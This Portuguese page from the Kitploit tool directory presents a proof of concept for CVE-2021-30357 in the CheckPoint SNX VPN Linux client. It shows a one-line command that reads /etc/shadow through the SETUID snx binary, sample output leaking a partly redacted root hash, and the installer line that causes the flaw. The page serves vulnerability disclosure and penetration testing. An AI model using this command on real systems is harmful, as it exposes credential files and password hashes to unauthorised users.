Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-30357_CheckPoint_SNX_VPN_PoC — Prova de Conceito para leitura privilegiada de arquivos através do CheckPoint SNX VPN Linux Client | Kitploit
Ferramentas/GitHubGitHub/joaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc
Escalada de PrivilégiosScanners de VulnerabilidadesAnálise de VulnerabilidadesExploraçãoTestes de Penetração
GitHubjoaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Prova de Conceito para leitura privilegiada de arquivos através do CheckPoint SNX VPN Linux Client

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
61há 3 anosAinda não revisado

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Prova de conceito para leitura privilegiada de arquivos através do cliente Linux CheckPoint SNX VPN.

Versão Afetada

  • CheckPointVPN_SNX_Linux_800007075.sh
  • Checksum MD5: 4372e9936e2dfb1d1ebcef3ed4dd7787

Exploit

Para explorar, basta carregar qualquer arquivo como configuração SNX usando o parâmetro -f. Se o arquivo não for uma configuração SNX válida, exibirá um erro e mostrará um erro de sintaxe, vazando o conteúdo até que um terminador de string seja encontrado (ex.: etc/shadow):

root@kitploit:~
$ /usr/bin/snx -f /etc/shadow

parsing of the file: /etc/shadow  failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'

Valid attributes are:

   - server          SNX server to connet to
   - sslport         The SNX SSL port (if not default)
   - username        the user name

(...)

Vulnerabilidade

A causa é que o executável /usr/bin/snx possui o bit SETUID e é executado como superusuário, configurado durante a instalação.

Em particular, a variável COMMAND_TO_RUN definida no arquivo de instalação .sh (CheckPointVPN_SNX_Linux_800007075.sh):

root@kitploit:~
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"

No parâmetro --mode=u=rxs, o último s define o bit SUID, fazendo com que o binário executável seja executado como root.

Comunicado Oficial

  • https://support.checkpoint.com/results/sk/sk173513
  • https://vrls.ws/posts/2021/06/cve-2021-30357-check-point-software-vpn-arbitrary-file-read/
Baixar ferramenta